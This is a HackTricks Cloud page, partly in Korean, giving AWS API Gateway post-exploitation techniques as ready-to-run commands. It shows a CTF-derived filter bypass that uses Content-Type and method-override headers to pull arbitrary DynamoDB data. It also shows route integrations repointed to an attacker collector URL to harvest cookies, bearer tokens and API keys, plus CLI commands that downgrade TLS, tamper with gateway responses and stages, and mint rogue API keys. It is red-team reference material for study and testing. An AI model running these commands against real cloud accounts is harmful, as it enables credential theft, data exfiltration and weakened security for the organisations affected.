AWS - API Gateway Post Exploitation
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
API Gateway
자세한 내용은 다음을 확인하세요:
노출되지 않은 API 접근
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
그런 다음 EC2 머신에서 엔드포인트에 접근하여 이전에 노출되지 않았던 gateway API를 호출할 수 있습니다.
Bypass Request body passthrough
이 기법은 this CTF writeup에서 발견되었습니다.
As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.
따라서 CTF에서 API Gateway에는 요청이 Content-Type: application/json으로 전송될 때 응답에서 preventing the flag from being exfiltrated 하도록 하는 integration template이 있었습니다:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
하지만 Content-type: text/json 헤더로 요청을 보내면 해당 필터를 우회할 수 있었다.
마지막으로, API Gateway가 Get과 Options만 허용하고 있었기 때문에, 본문에 쿼리를 담아 POST 요청을 보내고 헤더 X-HTTP-Method-Override: GET을 사용하면 제한 없이 임의의 dynamoDB 쿼리를 보낼 수 있었다:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Enumeration 섹션에서 키들의 obtain the usage plan을 확인할 수 있습니다. 키를 가지고 있고 그것이 limited to X usages per month라면, 단순히 해당 키를 사용해 just use it and cause a DoS 할 수 있습니다.
The API Key just need to be included inside a HTTP header called x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
만약 HTTP API integration을 업데이트할 수 있다면, 민감한 경로(예: /login, /token, /submit)를 공격자 제어의 HTTP 엔드포인트로 repoint하여 조용히 collect headers and bodies(cookies, Authorization bearer tokens, session ids, API keys, 내부 작업에서 전송된 secrets 등)를 수집할 수 있습니다.
Example workflow:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
참고:
- HTTP APIs의 경우, 변경 사항은 일반적으로 즉시 적용됩니다(일반적으로 배포를 생성해야 하는 REST APIs와 달리).
- 임의의 URL로 포인팅할 수 있는지는 integration type/config에 따라 다릅니다; 경우에 따라 패치 시 integration type을 변경할 수도 있습니다.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
권한 apigateway:UpdateGatewayResponse와 apigateway:CreateDeployment를 가진 공격자는 기존 Gateway Response를 수정하여 맞춤 헤더 또는 응답 템플릿을 포함시키고 민감한 정보를 leak하거나 악성 스크립트를 실행할 수 있습니다.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
잠재적 영향: Leakage of sensitive information, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
Note
테스트 필요
apigateway:UpdateStage, apigateway:CreateDeployment
apigateway:UpdateStage 및 apigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway stage를 수정하여 트래픽을 다른 stage로 리다이렉트하거나 캐싱 설정을 변경해 캐시된 데이터에 무단으로 접근할 수 있다.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: 캐시된 데이터에 대한 무단 접근, API 트래픽 방해 또는 가로채기.
Note
테스트 필요
apigateway:PutMethodResponse, apigateway:CreateDeployment
권한 apigateway:PutMethodResponse 및 apigateway:CreateDeployment을 가진 공격자는 기존 API Gateway REST API 메서드의 method response를 수정해 커스텀 헤더나 응답 템플릿을 포함시키고, 이를 통해 민감한 정보를 leak하거나 악성 스크립트를 실행할 수 있습니다.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Leakage of 민감한 정보, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.
Note
테스트 필요
apigateway:UpdateRestApi, apigateway:CreateDeployment
이 권한(apigateway:UpdateRestApi 및 apigateway:CreateDeployment)을 가진 공격자는 API Gateway REST API 설정을 수정해 logging을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
잠재적 영향: API의 보안이 약화되어 무단 액세스를 허용하거나 민감한 정보가 노출될 수 있음.
Note
테스트 필요
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
권한 apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, 및 apigateway:CreateUsagePlanKey를 가진 공격자는 새로운 API keys를 생성하고 이를 usage plans에 연결한 다음 이러한 키를 사용해 APIs에 무단 액세스할 수 있습니다.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potential Impact: API 리소스에 대한 무단 접근, 보안 제어 우회.
Note
테스트 필요
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

